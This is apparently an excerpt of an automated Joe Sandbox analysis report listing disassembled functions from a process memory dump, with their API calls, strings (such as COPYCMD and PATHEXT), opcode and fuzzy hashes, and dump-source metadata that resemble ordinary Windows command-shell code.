                                                    • Opcode ID: b52512778d22154e6a2ef45f8ba4ccb715e673a687fadbad016111a197e875a1
                                                    • Instruction ID: f6c715b916a50794f96752c8c1208462ab42902c23dd3a0368ee641aec845484
                                                    • Opcode Fuzzy Hash: b52512778d22154e6a2ef45f8ba4ccb715e673a687fadbad016111a197e875a1
                                                    • Instruction Fuzzy Hash: BEE1BC39A1924286FA609BACA4543B937A0AF85780F084135DB1ECA3F2DF3CE945C790
                                                    Function 00007FF6BF3D3410 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 160windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
                                                    • String ID: $Application$System
                                                    • API String ID: 3538039442-1881496484
                                                    • Opcode ID: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
                                                    • Instruction ID: ba1af97c59e1acfc3f9939bc2dca87613575b6c19b5a29a6c903064b57743927
                                                    • Opcode Fuzzy Hash: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
                                                    • Instruction Fuzzy Hash: 4951CE32A09B4197EB208BA9F4006BABBA1FB89B84F459134DF4E877A5DF3CD455C740
                                                    Function 00007FF6BF3FD9D0 Relevance: 23.3, APIs: 10, Strings: 3, Instructions: 576fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • longjmp.MSVCRT(?,?,00000000,00007FF6BF3F048E), ref: 00007FF6BF3FDA58
                                                    • memset.MSVCRT ref: 00007FF6BF3FDAD6
                                                    • memset.MSVCRT ref: 00007FF6BF3FDAFC
                                                    • memset.MSVCRT ref: 00007FF6BF3FDB22
                                                      • Part of subcall function 00007FF6BF3E3A0C: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF6BF3FEAC5,?,?,?,00007FF6BF3FE925,?,?,?,?,00007FF6BF3DB9B1), ref: 00007FF6BF3E3A56
                                                      • Part of subcall function 00007FF6BF3D5194: VirtualAlloc.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF6BF3D51C4
                                                      • Part of subcall function 00007FF6BF3E823C: FindFirstFileExW.KERNELBASE ref: 00007FF6BF3E8280
                                                      • Part of subcall function 00007FF6BF3E823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3E829D
                                                      • Part of subcall function 00007FF6BF3E01B8: _get_osfhandle.MSVCRT ref: 00007FF6BF3E01C4
                                                      • Part of subcall function 00007FF6BF3E01B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E01D6
                                                      • Part of subcall function 00007FF6BF3D4FE8: _get_osfhandle.MSVCRT ref: 00007FF6BF3D5012
                                                      • Part of subcall function 00007FF6BF3D4FE8: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3D5030
                                                    • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3FDDB0
                                                      • Part of subcall function 00007FF6BF3D59E4: CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3D5A2E
                                                      • Part of subcall function 00007FF6BF3D59E4: _open_osfhandle.MSVCRT ref: 00007FF6BF3D5A4F
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3FDDEB
                                                    • SetEndOfFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3FDDFA
                                                    • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6BF3FE204
                                                    • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6BF3FE223
                                                    • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6BF3FE242
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File$_get_osfhandlememset$Find$AllocAttributesCloseCreateErrorFirstLastReadTypeVirtual_open_osfhandlelongjmp
                                                    • String ID: %9d$%s$~
                                                    • API String ID: 3651208239-912394897
                                                    • Opcode ID: bd92ea359e7dfbf02f7d23f55cbe5c15862248cc3031b8413fe66a0113feaca6
                                                    • Instruction ID: 05c72efdf33ab0b8213cce1282e94865038d88f39040e985557c4fe810ac9aa5
                                                    • Opcode Fuzzy Hash: bd92ea359e7dfbf02f7d23f55cbe5c15862248cc3031b8413fe66a0113feaca6
                                                    • Instruction Fuzzy Hash: DB42A332A0868286EB649FA9D8542FD77A0FF85744F500136DB4DCBAA9DF3CEA51C740
                                                    Function 00007FF6BF3D372C Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 396COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcsrchr$ErrorLast$AttributesFile_wcsnicmpiswspacememsetwcschr
                                                    • String ID: COPYCMD$\
                                                    • API String ID: 3989487059-1802776761
                                                    • Opcode ID: d8d0bfbfdfe82cdd3103f4725bc29693bb562c2c5d4d39e0cb153c4cce5fb559
                                                    • Instruction ID: 6abfebea2abd5f1325b13a6f9a8bb693f13400a6b985538fe8c99fdb6f9a8359
                                                    • Opcode Fuzzy Hash: d8d0bfbfdfe82cdd3103f4725bc29693bb562c2c5d4d39e0cb153c4cce5fb559
                                                    • Instruction Fuzzy Hash: 8AF1D566B0974681EB64ABA9D4402BA67A0FF55B88F048035DF4E8F7B5EF3CE855C340
                                                    Function 00007FF6BF3E3140 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 229timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Time$File$System$FormatInfoLocalLocale
                                                    • String ID: $%02d%s%02d%s$%2d%s%02d%s%02d%s%02d$.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$HH:mm:ss t
                                                    • API String ID: 55602301-2548490036
                                                    • Opcode ID: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
                                                    • Instruction ID: 5c983253adab5839964c54fc1a7b4a919ef9068d20e8d1764864be84739c1d6f
                                                    • Opcode Fuzzy Hash: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
                                                    • Instruction Fuzzy Hash: 54A10532A2874296EB108B98E4402BE77A0FF94754F510135DB4E8BAB4EF7CE994C790
                                                    Function 00007FF6BF401538 Relevance: 19.7, APIs: 13, Instructions: 169filememorynativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememmove$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType_wcsicmp
                                                    • String ID:
                                                    • API String ID: 3935429995-0
                                                    • Opcode ID: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
                                                    • Instruction ID: 5c28295f13816da7493a4650193ac5d9c84c62d50172c7667f348c7516a35315
                                                    • Opcode Fuzzy Hash: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
                                                    • Instruction Fuzzy Hash: 1661D026A1869286E710DFB9A404679BBA4FFDAF54F058135EF4A837A2DFBCD4418700
                                                    Function 00007FF6BF3D35B8 Relevance: 18.2, APIs: 12, Instructions: 214COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: AttributesFile
                                                    • String ID:
                                                    • API String ID: 3188754299-0
                                                    • Opcode ID: 7911f8452db39d7657d313559ed3967f3c9c4d9a39ee1e7965673abb96ed0397
                                                    • Instruction ID: 0640eedd2f518d5fb42ee731fbb4aef0c4a96134b53ca57b2529983701f681bd
                                                    • Opcode Fuzzy Hash: 7911f8452db39d7657d313559ed3967f3c9c4d9a39ee1e7965673abb96ed0397
                                                    • Instruction Fuzzy Hash: AA91B036A0868286EB649FA9E8502FD77A0FB99B49F044135DB4E8B7B4EF3CD545C340
                                                    Function 00007FF6BF3DB0D8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 320COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _get_osfhandlememset$wcschr
                                                    • String ID: DPATH
                                                    • API String ID: 3260997497-2010427443
                                                    • Opcode ID: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
                                                    • Instruction ID: 2cdbb3b9c3452ed58c8ad6b5ae4aa8f9987e6697de3a4ca8a9e5ae9ccd845b4b
                                                    • Opcode Fuzzy Hash: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
                                                    • Instruction Fuzzy Hash: A5D19D36A1864286EB249BA9D8401BD67A1FF84B94F484235DB1ECB7F5DF3CE845C380
                                                    Function 00007FF6BF3E7FF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87filenativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File$InformationNamePathRelative$CloseDeleteErrorFreeHandleLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
                                                    • String ID: @P
                                                    • API String ID: 1801357106-3670739982
                                                    • Opcode ID: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
                                                    • Instruction ID: f52241ab192e8f7d0855e6484719c15c5b44367b763fccb968ffa768c39c0950
                                                    • Opcode Fuzzy Hash: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
                                                    • Instruction Fuzzy Hash: 2A413832B04A42DBE7109FB8D4402BD6BA0FB99758F848231DB0D97AA8DF78D954C794
                                                    Function 00007FF6BF3D2220 Relevance: 15.4, APIs: 10, Instructions: 368COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$BufferConsoleInfoScreen
                                                    • String ID:
                                                    • API String ID: 1034426908-0
                                                    • Opcode ID: 99e430a40e837be57a61fbba6b08e33b3e626514a3936da40c6adeee05acd63b
                                                    • Instruction ID: 0b213fab196c81cd8206a915b65b594d629e2ab323c118823d15cbbf04e9dc55
                                                    • Opcode Fuzzy Hash: 99e430a40e837be57a61fbba6b08e33b3e626514a3936da40c6adeee05acd63b
                                                    • Instruction Fuzzy Hash: 56F1B036A087829AEB64CF69D8802F977A4FF45788F444134DB5E8BAA5DF3CE514C780
                                                    Function 00007FF6BF3FAC4C Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 194registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseValue$CreateDeleteOpen
                                                    • String ID: %s=%s$\Shell\Open\Command
                                                    • API String ID: 4081037667-3301834661
                                                    • Opcode ID: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
                                                    • Instruction ID: 093f044542b7c4c060ddb395e41b5bdde29e5a405a66d8dbe4bcf55c2e9618af
                                                    • Opcode Fuzzy Hash: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
                                                    • Instruction Fuzzy Hash: 2F710372B0974282EFA09BADE4502BAA7A1FF94790F444131DF4E8B7A4DF7CE8418750
                                                    Function 00007FF6BF3FAA30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3FAA85
                                                    • RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3FAACF
                                                    • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3FAAEC
                                                    • RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF6BF3F98C0), ref: 00007FF6BF3FAB39
                                                    • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF6BF3F98C0), ref: 00007FF6BF3FAB6F
                                                    • RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF6BF3F98C0), ref: 00007FF6BF3FABA4
                                                    • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF6BF3F98C0), ref: 00007FF6BF3FABCB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseDeleteValue$CreateOpen
                                                    • String ID: %s=%s
                                                    • API String ID: 1019019434-1087296587
                                                    • Opcode ID: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
                                                    • Instruction ID: bdd24fce46c89b41fcce9e1d9c4e0b9010456da83284dcf25f69058533698cfa
                                                    • Opcode Fuzzy Hash: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
                                                    • Instruction Fuzzy Hash: 15519431B0875286EB608BADE44477ABBA1FB89790F408234CF4DC77A5DF78D8558740
                                                    Function 00007FF6BF3D1884 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 380COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsnicmpwcsrchr
                                                    • String ID: COPYCMD
                                                    • API String ID: 2429825313-3727491224
                                                    • Opcode ID: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
                                                    • Instruction ID: 75f9bfbe9ae7cbde1405c4b931f3032ecb2abcc2b3779005fd8ff8ff4133124c
                                                    • Opcode Fuzzy Hash: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
                                                    • Instruction Fuzzy Hash: 93F1AE76F0965286FB60AFED90402BD37A5AB04798F004236DF5EAB6E4DF3CA551C780
                                                    Function 00007FF6BF3D4A30 Relevance: 10.8, APIs: 7, Instructions: 318COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$FullNamePathwcsrchr
                                                    • String ID:
                                                    • API String ID: 4289998964-0
                                                    • Opcode ID: ca4f6fec6d1e45853bca55d284d940f9823b5f813051b5de8d9b268dc279a2c6
                                                    • Instruction ID: 4f3c23a8b46f747c248c92a27f51e46f5d4b0f447c240d45f4934de90c8e3693
                                                    • Opcode Fuzzy Hash: ca4f6fec6d1e45853bca55d284d940f9823b5f813051b5de8d9b268dc279a2c6
                                                    • Instruction Fuzzy Hash: 51C1B125A0A356C2EAD49B9AD58837D67A0FF55B90F005531CF4E8BBE1EF7CE4918380
                                                    Function 00007FF6BF3FBCF0 Relevance: 10.6, APIs: 7, Instructions: 52filenativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ExclusiveLock$AcquireBufferCancelConsoleFileFlushInputReleaseSynchronous_get_osfhandlefflushfprintf
                                                    • String ID:
                                                    • API String ID: 3476366620-0
                                                    • Opcode ID: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
                                                    • Instruction ID: 3ed223fa4bdbc8feabf2257f63b29fdce63ac7fc8fdd35bd3c8b665d19a21ba2
                                                    • Opcode Fuzzy Hash: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
                                                    • Instruction Fuzzy Hash: 8E219F30918A4382FA586FACE8152B87B60FF69715F805235DB1EC62F2DF3CA418C351
